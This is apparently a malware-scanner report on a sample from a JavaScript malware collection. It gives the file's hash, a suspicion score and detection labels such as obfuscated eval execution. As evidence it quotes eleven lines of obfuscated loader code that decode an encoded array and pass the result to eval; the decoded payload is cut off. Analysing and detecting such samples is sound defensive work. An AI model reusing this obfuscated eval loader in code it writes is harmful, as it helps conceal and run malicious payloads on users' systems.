Suspicious ^80% javascript-malware-collection Download

20151211_b9146d057eff86fd38ca1a6aed1964ff.js

Obfuscated eval execution

parseInt toString radix remapObfuscated increment/decrement via arithmetic

SHA-2569c0ae26022f218a5d6a14e9e791ee8b621204ce058cb49408cc68a5ac0480e69

Evidence

parseInt toString radix remap lines 1–6

1:460… ','w','x','y','z','{','|','}','~','']
2function vPvGa(QNvkapIrZVm,fZlpviNvSxOGC,tfKrmNkb){jwTf=parseInt(QNvkapIrZVm,fZlpviNvSxOGC);kXKYy=jwTf.toString(tfKrmNkb);return kXKYy;}function NHGFdivJtnEjTvp(XUOGvzJCArbMVmyZU){eval(XUOGvzJCArbMVmyZU)}
3function etoPJhZwlFWbYOxiPiBpKrGbGkGjKhvSTjHGjLKHrHkNofShlbYSdo(qAaJXLxybNAEq,bzDaumkaijvAdO){ return ndNja[vPvGa(qAaJXLxybNAEq[bzDaumkaijvAdO],(15311+61)/732,(5136+794)/593)];}
4function Gtseoly(wcVjAcfvlHoXtGWIACxWpvoEmlRkaPfAhHzz) {return !isNaN(parseFloat(wcVjAcfvlHoXtGWIACxWpvoEmlRkaPfAhHzz)) && isFinite(wcVjAcfvlHoXtGWIACxWpvoEmlRkaPfAhHzz);}
5function JKNGhzxJpba(eWbEjTTj,KmAvGl){return eWbEjTTj.split(KmAvGl)}
6var y=new Array("d","a","d","a","5d","4d","59","1b","3i","1b","2j","1b","1d","5a","56","4i","5b","28","5e","4h","4e", …

Obfuscated increment/decrement via arithmetic lines 8–11

8:4…  EJIyF=[y,n];
9var pqmugJRHT=[];
10function hTkKEqmFmiBSNKTSw(EJIyF){UJIQDCRMmoq= '';YAjDNWURUXC=(-615+615)/611; while(true){if(YAjDNWURUXC >= (962+946)/954)break;pqmugJRHT[YAjDNWURUXC]=(-110+110)/67; while(true) { if(pqmugJRHT[YAjDNWURUXC] > EJIyF[YAjDNWURUXC].length-(267+442)/709) { break; } if (Gtseoly(vPvGa(EJIyF[YAjDNWURUXC][pqmugJRHT[YAjDNWURUXC]],(7765+467)/392,(-118+988)/87))) {UJIQDCRMmoq += etoPJhZwlFWbYOxiPiBpKrGbGkGjKhvSTjHGjLKHrHkNofShlbYSdo([EJIyF[YAjDNWURUXC][pqmugJRHT[YAjDNWURUXC]]], (-638+638)/879);} pqmugJRHT[YAjDNWURUXC]++;}YAjDNWURUXC++;} return UJIQDCRMmoq}
11NHGFdivJtnEjTvp(hTkKEqmFmiBSNKTSw(EJIyF));